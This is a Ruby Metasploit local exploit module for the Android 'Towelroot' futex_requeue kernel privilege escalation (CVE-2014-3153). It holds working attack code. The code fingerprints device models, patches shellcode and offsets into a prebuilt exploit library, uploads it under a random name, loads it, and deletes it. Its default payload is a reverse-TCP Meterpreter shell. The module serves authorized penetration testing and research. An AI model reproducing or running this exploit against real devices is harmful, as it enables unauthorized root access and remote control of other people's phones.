##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Common

  def initialize(info={})
    super( update_info( info, {
        'Name'          => "Android 'Towelroot' Futex Requeue Kernel Exploit",
        'Description'   => %q{
            This module exploits a bug in futex_requeue in the Linux kernel, using
            similar techniques employed by the towelroot exploit. Any Android device
            with a kernel built before June 2014 is likely to be vulnerable.
        },
        'License'       => MSF_LICENSE,
        'Author'        => [
            'Pinkie Pie', # discovery
            'geohot',     # towelroot
            'timwr'       # metasploit module
        ],
        'References'    =>
        [
            [ 'CVE', '2014-3153' ],
            [ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ],
            [ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ],
        ],
        'DisclosureDate' => "May 03 2014",
        'SessionTypes'   => [ 'meterpreter' ],
        'Platform'       => [ "android", "linux" ],
        'Payload'        => { 'Space'    => 2048, },
        'DefaultOptions' =>
        {
          'WfsDelay'     => 300,
          'PAYLOAD'      => 'linux/armle/meterpreter/reverse_tcp',
        },
        'DefaultTarget' => 0,
        'Targets'       => [
          # Automatic targetting via getprop ro.build.model
          ['Automatic Targeting', { 'auto' => true }],

          # This is the default setting, Nexus 4, 5, 7, etc
          ['Default',
           {
             'new_samsung'  => false,
             'iovstack'     => 2,
             'offset'       => 0,
             'force_remove' => false,
           }
          ],

          # Samsung devices, S4, S5, etc
          ['New Samsung',
           {
             'new_samsung'  => true,
             'iovstack'     => 2,
             'offset'       => 7380,
             'force_remove' => true,
           }
          ],

          # Older Samsung devices, e.g the Note 2
          ['Old Samsung',
           {
             'new_samsung'  => false,
             'iovstack'     => 1,
             'offset'       => 0,
             'force_remove' => true,
           }
          ],

          # Samsung Galaxy Grand, etc
          ['Samsung Grand',
           {
             'new_samsung'  => false,
             'iovstack'     => 5,
             'offset'       => 0,
             'force_remove' => true,
           }
          ],
        ]
      }
    ))
  end

  def exploit
    if target['auto']
      product = cmd_exec("getprop ro.build.product")
      fingerprint = cmd_exec("getprop ro.build.fingerprint")
      print_status("Found device: #{product}")
      print_status("Fingerprint: #{fingerprint}")

      if [
        "mako",
        "m7",
        "hammerhead",
        "grouper",
        "Y530-U00",
        "G6-U10",
        "g2",
        "w7n",
        "D2303",
        "cancro",
      ].include? product
        my_target = targets[1] # Default
      elsif [
        "klte",
        "jflte",
      ].include? product
        my_target = targets[2] # New Samsung
      elsif [
        "t03g",
        "m0",
      ].include? product
        my_target = targets[3] # Old Samsung
      elsif [
        "baffinlite",
        "Vodafone_785",
      ].include? product
        my_target = targets[4] # Samsung Grand
      else
        print_status("Could not automatically target #{product}")
        my_target = targets[1] # Default
      end
    else
      my_target = target
    end

    print_status("Using target: #{my_target.name}")

    local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.so" )
    exploit_data = File.read(local_file, {:mode => 'rb'})

    # Substitute the exploit shellcode with our own
    space = payload_space
    payload_encoded = payload.encoded
    exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))

    # Apply the target config
    offsets = my_target.opts
    config_buf = [
      offsets['new_samsung'] ? -1 : 0,
      offsets['iovstack'].to_i,
      offsets['offset'].to_i,
      offsets['force_remove'] ? -1 : 0,
    ].pack('I4')
    exploit_data.gsub!("c0nfig" + "\x00" * 10, config_buf)

    workingdir = session.fs.dir.getwd
    remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
    write_file(remote_file, exploit_data)

    print_status("Loading exploit library #{remote_file}")
    session.core.load_library(
        'LibraryFilePath' => local_file,
        'TargetFilePath'  => remote_file,
        'UploadLibrary'   => false,
        'Extension'       => false,
        'SaveToDisk'      => false
    )
    print_status("Loaded library #{remote_file}, deleting")
    session.fs.file.rm(remote_file)
    print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
  end
end